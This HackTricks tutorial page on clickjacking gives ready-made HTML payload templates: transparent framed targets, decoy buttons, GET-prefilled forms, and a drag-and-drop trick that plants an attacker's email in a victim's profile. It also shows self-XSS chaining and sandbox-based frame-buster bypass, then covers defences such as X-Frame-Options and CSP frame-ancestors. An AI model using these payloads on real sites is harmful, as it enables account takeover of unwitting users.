{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
In a clickjacking attack, a user is tricked into clicking an element on a webpage that is either invisible or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.
Sometimes is possible to fill the value of fields of a form using GET parameters when loading a page. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.
If you need the user to fill a form but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to Drag&Drop something that will write your controlled data like in this example.
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/[email protected]"></iframe>
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
__An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
Scripts executed on the client side can perform actions to prevent Clickjacking:
- Ensuring the application window is the main or top window.
- Making all frames visible.
- Preventing clicks on invisible frames.
- Detecting and alerting users to potential Clickjacking attempts.
However, these frame-busting scripts may be circumvented:
- Browsers' Security Settings: Some browsers might block these scripts based on their security settings or lack of JavaScript support.
- HTML5 iframe
sandbox
Attribute: An attacker can neutralize frame buster scripts by setting thesandbox
attribute withallow-forms
orallow-scripts
values withoutallow-top-navigation
. This prevents the iframe from verifying if it is the top window, e.g.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
The allow-forms
and allow-scripts
values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin
and allow-modals
might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
The X-Frame-Options
HTTP response header informs browsers about the legitimacy of rendering a page in a <frame>
or <iframe>
, helping to prevent Clickjacking:
X-Frame-Options: deny
- No domain can frame the content.X-Frame-Options: sameorigin
- Only the current site can frame the content.X-Frame-Options: allow-from https://trusted.com
- Only the specified 'uri' can frame the page.- Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
frame-ancestors
directive in CSP is the advised method for Clickjacking protection:
frame-ancestors 'none'
- Similar toX-Frame-Options: deny
.frame-ancestors 'self'
- Similar toX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Similar toX-Frame-Options: allow-from
.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
- Defines valid sources for frames.
- More specific than the
default-src
directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
This policy allows frames from the same origin (self) and https://trusted-website.com.
- Introduced in CSP level 2 to set valid sources for web workers and frames.
- Acts as a fallback for frame-src and worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
This policy allows frames and workers from the same origin (self) and https://trusted-website.com.
Usage Notes:
- Deprecation: child-src is being phased out in favor of frame-src and worker-src.
- Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
- Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.
Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:
if (top !== self) {
top.location = self.location;
}
- Token Validation: Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.